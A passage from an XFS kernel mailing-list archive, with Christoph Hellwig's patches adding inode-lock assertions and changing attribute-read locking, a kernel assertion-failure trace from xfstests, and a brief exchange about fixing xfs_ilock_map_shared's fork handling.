name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Make sure that xfs_bmapi_read has the ilock held in some way, and that xfs_bmapi_write, xfs_bmapi_delay, xfs_bunmapi and xfs_iread_extents are called with the ilock held exclusively. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2013-11-29 14:25:12.172459195 +0100 +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 10:03:28.243801633 +0100 @@ -3997,6 +3997,7 @@ xfs_bmapi_read( ASSERT(*nmap >= 1); ASSERT(!(flags & ~(XFS_BMAPI_ATTRFORK|XFS_BMAPI_ENTIRE| XFS_BMAPI_IGSTATE))); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -4191,6 +4192,7 @@ xfs_bmapi_delay( ASSERT(*nmap >= 1); ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); ASSERT(!(flags & ~XFS_BMAPI_ENTIRE)); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, XFS_DATA_FORK) != XFS_DINODE_FMT_EXTENTS && @@ -4484,6 +4486,7 @@ xfs_bmapi_write( ASSERT(tp != NULL); ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && Index: xfs/fs/xfs/xfs_inode_fork.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode_fork.c 2013-12-05 09:57:24.347809100 +0100 +++ xfs/fs/xfs/xfs_inode_fork.c 2013-12-05 09:59:04.767807039 +0100 @@ -431,6 +431,8 @@ xfs_iread_extents( xfs_ifork_t *ifp; xfs_extnum_t nextents; + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, ip->i_mount); Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2013-12-05 22:12:32.931838271 +0100 +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 22:35:59.175809412 +0100 @@ -5038,6 +5038,7 @@ xfs_bunmapi( if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); ASSERT(len > 0); ASSERT(nexts >= 0); From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 07EE529E12 for ; Fri, 6 Dec 2013 10:49:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D0DBB8F804B for ; Fri, 6 Dec 2013 08:49:07 -0800 (PST) X-ASG-Debug-ID: 1386348546-04cb6c537b57e130001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id J1iZI8dFENI5ls3z (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaQ-0000Cd-L9 for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164906.534601472@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:24 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 5/7] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 5/7] xfs: use xfs_ilock_map_shared in xfs_attr_get Content-Disposition: inline; filename=xfs-attr-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386348547 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_attr.c =================================================================== --- xfs.orig/fs/xfs/xfs_attr.c 2013-12-05 22:19:26.087829792 +0100 +++ xfs/fs/xfs/xfs_attr.c 2013-12-05 22:23:54.307824288 +0100 @@ -164,6 +164,7 @@ xfs_attr_get( { int error; struct xfs_name xname; + uint lock_mode; XFS_STATS_INC(xs_attr_get); @@ -174,9 +175,9 @@ xfs_attr_get( if (error) return error; - xfs_ilock(ip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_map_shared(ip); error = xfs_attr_get_int(ip, &xname, value, valuelenp, flags); - xfs_iunlock(ip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(ip, lock_mode); return(error); } From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:53:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 68CAC29E1A for ; Fri, 6 Dec 2013 10:53:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4FB738F8035 for ; Fri, 6 Dec 2013 08:53:34 -0800 (PST) X-ASG-Debug-ID: 1386348813-04cbb0416758ad50001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ZQKe0K8NZz6hXVw1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 08:53:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Voyej-0001b9-88; Fri, 06 Dec 2013 16:53:33 +0000 Date: Fri, 6 Dec 2013 08:53:33 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Ben Myers Subject: Re: [PATCH 1/7] xfs: reinstate the ilock in xfs_readdir Message-ID: <20131206165333.GA6100@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/7] xfs: reinstate the ilock in xfs_readdir References: <20131206164819.371654241@bombadil.infradead.org> <20131206164905.863036624@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206164905.863036624@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386348813 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Oops, looks like quilt didn't preserve the From: line for Ben. This wasn't intentional. From bpm@sgi.com Fri Dec 6 11:37:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4365C7F3F for ; Fri, 6 Dec 2013 11:37:33 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 16D748F8049; Fri, 6 Dec 2013 09:37:30 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E0E3C4266DC; Fri, 6 Dec 2013 11:37:29 -0600 (CST) Date: Fri, 6 Dec 2013 11:37:29 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/7] extent list locking fixes V2 Message-ID: <20131206173729.GR1935@sgi.com> References: <20131206164819.371654241@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206164819.371654241@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Christoph, On Fri, Dec 06, 2013 at 08:48:19AM -0800, Christoph Hellwig wrote: > Fixed the review feedback, and includes Bens original patch for completeness. I ran your initial series overnight with xfstests... oddly I hit this: [16304.656687] XFS: Assertion failed: xfs_isilocked(ip, XFS_ILOCK_EXCL), file: /root/xfs/fs/xfs/xfs_inode_fork.c, line: 434 [16304.668925] ------------[ cut here ]------------ [16304.674098] kernel BUG at /root/xfs/fs/xfs/xfs_message.c:107! [16304.674102] invalid opcode: 0000 [#1] SMP [16304.674151] Modules linked in: xfs(OF) ext2(F) dm_flakey(F) crc32c(F) libcrc32c(F) autofs4(F) cpufreq_conservative(F) cpufreq_userspace(F) cpufreq_powersave(F) microcode(F) fuse(F) loop(F) dm_mod(F) joydev(F) hid_generic(F) usbhid(F) hid(F) ehci_pci(F) ehci_hcd(F) iTCO_wdt(F) sg(F) igb(F) iTCO_vendor_support(F) isci(F) ipv6(F) ptp(F) usbcore(F) ioatdma(F) libsas(F) lpc_ich(F) pcspkr(F) i2c_i801(F) sr_mod(F) mptctl(F) pps_core(F) usb_common(F) mfd_core(F) dca(F) cdrom(F) wmi(F) rtc_cmos(F) acpi_cpufreq(F) button(F) mgag200(F) ttm(F) drm_kms_helper(F) drm(F) i2c_algo_bit(F) sysimgblt(F) sysfillrect(F) i2c_core(F) syscopyarea(F) sd_mod(F) crc_t10dif(F) crct10dif_common(F) mpt2sas(F) raid_class(F) scsi_dh_emc(F) scsi_dh_rdac(F) scsi_dh_alua(F) scsi_dh_hp_sw(F) scsi_dh(F) thermal(F) sata_nv(F) processor(F) piix(F) mptsas(F) mptscsih(F) scsi_transport_sas(F) mptbase(F) megaraid_sas(F) ide_generic(F) ide_core(F) fan(F) thermal_sys(F) hwmon(F) ext3(F) jbd(F) mbcache(F) edd(F) ata_piix(F) ahci(F) libahci(F) libata(F) scsi_mod(F) [last unloaded: scsi_debug] [16304.674172] CPU: 13 PID: 12264 Comm: fsstress Tainted: GF IO 3.13.0-rc2-0.9-default #28 [16304.674175] Hardware name: SGI.COM SUMMIT/S2600GZ, BIOS SE5C600.86B.01.06.0002.110120121539 11/01/2012 [16304.674183] task: ffff8807fd76c190 ti: ffff88082d02e000 task.ti: ffff88082d02e000 [16304.674231] RIP: 0010:[] [] assfail+0x1d/0x30 [xfs] [16304.674233] RSP: 0018:ffff88082d02f9d8 EFLAGS: 00010296 [16304.674235] RAX: 000000000000006c RBX: 0000000000000001 RCX: 0000000000000000 [16304.674236] RDX: ffff88043faeed68 RSI: ffff88043faed248 RDI: ffff88043faed248 [16304.674238] RBP: ffff88082d02f9d8 R08: 0000000000001a0c R09: 000000000000000d [16304.674239] R10: 0000000000001a0c R11: 0000000000000006 R12: ffff88042a7eb800 [16304.674240] R13: 0000000000000001 R14: ffff88082d02fb54 R15: 0000000000000000 [16304.674243] FS: 00007fda2ff4d700(0000) GS:ffff88043fae0000(0000) knlGS:0000000000000000 [16304.674245] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [16304.674246] CR2: 00007fda2f4a4b80 CR3: 000000082bf5e000 CR4: 00000000000407e0 [16304.674247] Stack: [16304.674254] ffff88082d02fa18 ffffffffa077c4fe ffff88043ffd9d80 0000000000000001 [16304.674258] ffff88042a7eb800 ffff88042cd694f0 ffff88082d02fb54 0000000000000004 [16304.674263] ffff88082d02fad8 ffffffffa07471f4 0000000000000000 000000012d6ca940 [16304.674263] Call Trace: [16304.674308] [] xfs_iread_extents+0x4e/0x190 [xfs] [16304.674346] [] xfs_bmapi_read+0x264/0x3f0 [xfs] [16304.674383] [] xfs_dabuf_map+0x281/0x300 [xfs] [16304.674418] [] xfs_da_read_buf+0x59/0x2d0 [xfs] [16304.674427] [] ? kmem_getpages+0xc5/0x170 [16304.674431] [] ? cache_grow+0x171/0x240 [16304.674462] [] xfs_da3_node_read+0x27/0xd0 [xfs] [16304.674494] [] xfs_da3_node_lookup_int+0x86/0x420 [xfs] [16304.674498] [] ? kmem_cache_alloc+0xbb/0x1f0 [16304.674532] [] ? kmem_zone_alloc+0x7e/0xf0 [xfs] [16304.674565] [] xfs_attr_node_get+0x78/0x170 [xfs] [16304.674596] [] xfs_attr_get_int+0xb4/0x110 [xfs] [16304.674626] [] xfs_attr_get+0xa8/0xc0 [xfs] [16304.674661] [] xfs_get_acl+0x137/0x1a0 [xfs] [16304.674667] [] check_acl+0x85/0x160 [16304.674671] [] generic_permission+0x85/0x130 [16304.674676] [] __inode_permission+0xcc/0xf0 [16304.674680] [] inode_permission+0x3d/0x60 [16304.674684] [] SyS_chdir+0x43/0x100 [16304.674691] [] system_call_fastpath+0x16/0x1b [16304.674718] Code: 00 00 00 48 89 45 c8 e8 42 fc ff ff c9 c3 55 41 89 d0 48 89 f1 48 89 fa 48 c7 c6 f0 5c 7b a0 31 ff 48 89 e5 31 c0 e8 93 ff ff ff <0f> 0b eb fe 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 8b [16304.674748] RIP [] assfail+0x1d/0x30 [xfs] [16304.674749] RSP [16304.724644] ---[ end trace eddfa0fb40bb8e11 ]--- ...which shouldn't have been possible given the additional locking added to xfs_attr_get. Maybe some PEBKAC or something. -Ben From bpm@sgi.com Fri Dec 6 11:37:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 79E8929E06 for ; Fri, 6 Dec 2013 11:37:47 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 082ECAC00E; Fri, 6 Dec 2013 09:37:43 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A528D4266DC; Fri, 6 Dec 2013 11:37:43 -0600 (CST) Date: Fri, 6 Dec 2013 11:37:43 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/7] xfs: reinstate the ilock in xfs_readdir Message-ID: <20131206173743.GS1935@sgi.com> References: <20131206164819.371654241@bombadil.infradead.org> <20131206164905.863036624@bombadil.infradead.org> <20131206165333.GA6100@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206165333.GA6100@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Dec 06, 2013 at 08:53:33AM -0800, Christoph Hellwig wrote: > Oops, looks like quilt didn't preserve the From: line for Ben. This > wasn't intentional. No worries. ;) From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 11:54:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8030B29DF9 for ; Fri, 6 Dec 2013 11:54:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C82B30407B for ; Fri, 6 Dec 2013 09:54:47 -0800 (PST) X-ASG-Debug-ID: 1386352485-04cb6c537d581fe0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id O5fdDkry56TLGFAv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 09:54:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vozbw-0006kP-So; Fri, 06 Dec 2013 17:54:44 +0000 Date: Fri, 6 Dec 2013 09:54:44 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 0/7] extent list locking fixes V2 Message-ID: <20131206175444.GA25669@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/7] extent list locking fixes V2 References: <20131206164819.371654241@bombadil.infradead.org> <20131206173729.GR1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206173729.GR1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386352486 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142894 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 11:37:29AM -0600, Ben Myers wrote: > Hey Christoph, > > On Fri, Dec 06, 2013 at 08:48:19AM -0800, Christoph Hellwig wrote: > > Fixed the review feedback, and includes Bens original patch for completeness. > > I ran your initial series overnight with xfstests... oddly I hit this: I think I understand the problem: uint xfs_ilock_map_shared( xfs_inode_t *ip) { uint lock_mode; if ((ip->i_d.di_format == XFS_DINODE_FMT_BTREE) && ((ip->i_df.if_flags & XFS_IFEXTENTS) == 0)) { lock_mode = XFS_ILOCK_EXCL; } else { lock_mode = XFS_ILOCK_SHARED; } xfs_ilock(ip, lock_mode); return lock_mode; } This only looks at the data fork, while we'd need to use it for the fork we plan to operate on. Looks like we'll need some bigger surgery this area. From bpm@sgi.com Fri Dec 6 11:57:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8519829DF9 for ; Fri, 6 Dec 2013 11:57:26 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 69036304067; Fri, 6 Dec 2013 09:57:26 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3DCEB4266DC; Fri, 6 Dec 2013 11:57:26 -0600 (CST) Date: Fri, 6 Dec 2013 11:57:26 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/7] extent list locking fixes V2 Message-ID: <20131206175726.GT10553@sgi.com> References: <20131206164819.371654241@bombadil.infradead.org> <20131206173729.GR1935@sgi.com> <20131206175444.GA25669@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206175444.GA25669@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Dec 06, 2013 at 09:54:44AM -0800, Christoph Hellwig wrote: > On Fri, Dec 06, 2013 at 11:37:29AM -0600, Ben Myers wrote: > > Hey Christoph, > > > > On Fri, Dec 06, 2013 at 08:48:19AM -0800, Christoph Hellwig wrote: > > > Fixed the review feedback, and includes Bens original patch for completeness. > > > > I ran your initial series overnight with xfstests... oddly I hit this: > > I think I understand the problem: > > uint > xfs_ilock_map_shared( > xfs_inode_t *ip) > { > uint lock_mode; > > if ((ip->i_d.di_format == XFS_DINODE_FMT_BTREE) && > ((ip->i_df.if_flags & XFS_IFEXTENTS) == 0)) { > lock_mode = XFS_ILOCK_EXCL; > } else { > lock_mode = XFS_ILOCK_SHARED; > } > > xfs_ilock(ip, lock_mode); > return lock_mode; > } > > This only looks at the data fork, while we'd need to use it for the > fork we plan to operate on. Looks like we'll need some bigger surgery > this area. Ah, that makes sense. Maybe just add a flags arg? From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 11:59:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DFFC129DF9 for ; Fri, 6 Dec 2013 11:59:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C77A68F8052 for ; Fri, 6 Dec 2013 09:59:25 -0800 (PST) X-ASG-Debug-ID: 1386352764-04cbb0416658ee60001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id x28QZE5ufN6l3GOY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 09:59:24 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VozgS-00087K-8q; Fri, 06 Dec 2013 17:59:24 +0000 Date: Fri, 6 Dec 2013 09:59:24 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 0/7] extent list locking fixes V2 Message-ID: <20131206175924.GA31131@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/7] extent list locking fixes V2 References: <20131206164819.371654241@bombadil.infradead.org> <20131206173729.GR1935@sgi.com> <20131206175444.GA25669@infradead.org> <20131206175726.GT10553@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206175726.GT10553@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386352764 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142894 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Dec 06, 2013 at 11:57:26AM -0600, Ben Myers wrote: > > uint > > xfs_ilock_map_shared( > > xfs_inode_t *ip) > > { > > uint lock_mode; > > > > if ((ip->i_d.di_format == XFS_DINODE_FMT_BTREE) && > > ((ip->i_df.if_flags & XFS_IFEXTENTS) == 0)) { > > lock_mode = XFS_ILOCK_EXCL; > > } else { > > lock_mode = XFS_ILOCK_SHARED; > > } > > > > xfs_ilock(ip, lock_mode); > > return lock_mode; > > } > > > > This only looks at the data fork, while we'd need to use it for the > > fork we plan to operate on. Looks like we'll need some bigger surgery > > this area. > > Ah, that makes sense. Maybe just add a flags arg? My plan was to replace the helper with two different ones that just return the flag value, and the use ilock on the return value. I'll have to see if there's enough places where we could lock for either for that adding a variant that takes an "int whichfork" argument would make sense. From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 12:09:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0BA3229DF9 for ; Fri, 6 Dec 2013 12:09:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DD134304067 for ; Fri, 6 Dec 2013 10:09:02 -0800 (PST) X-ASG-Debug-ID: 1386353338-04bdf013228c2f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id tMqMmnERTP1URFEa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 10:08:58 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vozpi-0001qm-KZ; Fri, 06 Dec 2013 18:08:58 +0000 Date: Fri, 6 Dec 2013 10:08:58 -0800 From: Christoph Hellwig To: Stanislav Kholmanskikh Cc: Christoph Hellwig , xfs@oss.sgi.com, linux-nfs@vger.kernel.org, Vasily Isaenko Subject: Re: nfs vs xfstests 193 Message-ID: <20131206180858.GA2803@infradead.org> X-ASG-Orig-Subj: Re: nfs vs xfstests 193 References: <20131106115648.GA24804@infradead.org> <52A1CF22.106@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A1CF22.106@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386353338 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi 